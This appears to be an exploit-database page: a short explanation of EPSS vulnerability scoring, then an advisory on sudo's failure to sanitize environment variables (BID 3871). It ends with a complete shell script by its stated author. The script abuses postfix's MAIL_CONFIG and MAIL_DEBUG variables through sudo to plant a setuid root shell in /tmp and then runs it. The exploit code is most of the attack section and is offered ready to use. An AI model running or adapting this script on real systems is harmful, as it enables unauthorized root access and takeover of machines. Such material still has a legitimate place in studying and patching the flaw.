EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/3871/info Sudo is a freely available, open source permissions management software package available for the Linux and Unix operating systems. It is maintained by Todd C. Miller. Under some circumstances, sudo does not properly sanitize the environment it executes programs with. In the event that sudo is used to run a program such as an MTA with root privileges, this could result in a local user passing unsafe data to the program via environment variables. From these environment variables the user may be able to execute commands as root, and potentially gain elevated privileges. #!/bin/sh # # root shell exploit for postfix + sudo # tested on debian powerpc unstable # # by Charles 'core' Stevenson <core@bokeoa.com> # Put your password here if you're not in the sudoers file PASSWORD=wdnownz echo -e "sudo exploit by core <core@bokeoa.com>\n" echo "Setting up postfix config directory..." /bin/cp -r /etc/postfix /tmp echo "Adding malicious debugger command..." echo "debugger_command = /bin/cp /bin/sh /tmp/sh; chmod 4755 /tmp/sh">>/tmp/postfix/main.cf echo "Setting up environment..." export MAIL_CONFIG=/tmp/postfix export MAIL_DEBUG= sleep 2 echo "Trying to exploit..." echo -e "$PASSWORD\n"|/usr/bin/sudo su - sleep 2 echo "We should have a root shell let's check..." ls -l /tmp/sh echo "Cleaning up..." rm -rf /tmp/postfix echo "Attempting to run root shell..." /tmp/sh
